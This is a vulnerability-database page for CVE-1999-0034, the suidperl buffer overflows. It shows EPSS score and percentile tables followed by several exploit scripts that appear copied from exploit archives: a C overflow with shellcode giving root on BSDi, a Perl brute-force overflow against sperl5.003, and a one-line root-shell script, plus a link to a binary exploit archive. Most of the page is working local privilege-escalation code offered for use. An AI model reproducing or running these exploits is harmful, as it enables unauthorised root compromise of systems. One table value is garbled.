CVE-1999-0034 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.96%	–	–
2022-03-13	–	–	1.96%	–	–
2022-04-03	–	–	1.96%	–	–
2022-07-31	–	–	1.96%	–	–
2023-02-26	–	–	1.96%	–	–
2023-03-12	–	–	–	0.05%	–
2024-02-11	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-06-30	–	–	–	0.05%	–
2024-11-10	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.23%
2025-03-30	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	56%
2022-03-13	57%
2022-04-03	77%
2022-07-31	78%
2023-02-26	79%
2023-03-12	19%
2024-02-11	11%
2024-03-31	12%
2024-06-02	13%
2024-06-30	14%
2024-11-10	15%
2025-01-19	16%
2025-01-19	16%
2025-03-18	44%
2025-03-30	43%
2025-04-15	46%
2025-04-15	46%

/* (BSDi)suidperl[] buffer overflow, by v9[v9@fakehalo.org]. this is that old buffer overflow in suidperl, but i never saw any version of it for BSDi. so, here it is. this gives euid=0. (BSDi/3.0) */ #define PATH "/usr/bin/suidperl" /* path to suidperl on BSDi/3.0. */ #define DEFAULT_OFFSET -5000 /* general offset, a lot of room. */ static char exec[]= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */ "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */ "\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */ "\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */ long pointer(void){__asm__("movl %esp,%eax");} int main(int argc,char **argv){ char eip[2048],buf[4096]; int i,offset; long ret; printf("[ (BSDi)suidperl[]: buffer overflow, by: v9[v9@fakehalo.org]. ]\n"); if(argc>1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(pointer()-offset); eip[0]=0x01; for(i=1;i<2048;i+=4){*(long *)&eip[i]=ret;} eip[1248]=0x0; for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;} memcpy(buf+i,exec,strlen(exec)); memcpy(buf,"EXEC=",5);putenv(buf); printf("*** [data]: return address: 0x%lx, offset: %d.\n",ret,offset); if(execlp(PATH,"suidperl",eip,0)){ printf("*** [error]: could not execute %s successfully.\n",PATH); exit(1); } } // milw0rm.com [2000-11-21]

#!/usr/bin/suidperl -U $ENV{PATH}="/bin:/usr/bin"; $>=0;$<=0; exec("/bin/bash"); # milw0rm.com [1996-06-01]

source: https://www.securityfocus.com/bid/708/info Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl'. When this program is installed setuid root the overflows may lead to a local root compromise. #!/usr/bin/perl # yes, this suidperl exploit is in perl, isn't it wonderful? :) $| = 1; $shellcode = "\x90" x 512 . # nops "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp # "standard shellcode" by Aleph One "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; # start and end of .data # adjust this using /proc/*/maps $databot = 0x080a2000; $datatop = 0x080ab000; # trial and error loop $address = $databot + 4; while ($address < $datatop) { $smash_me = $shellcode . ('A' x (2052 - length($shellcode))) . (pack("l", $address) x 1000) . ('B' x 1000); $pid = fork(); if (!$pid) { exec('/usr/bin/sperl5.003', $smash_me); } else { wait; if ($? == 0) { printf("THE MAGIC ADDRESS WAS %08x\n", $address); exit; } } $address += 128; }

source: https://www.securityfocus.com/bid/708/info Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl'. When this program is installed setuid root the overflows may lead to a local root compromise. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19547.tgz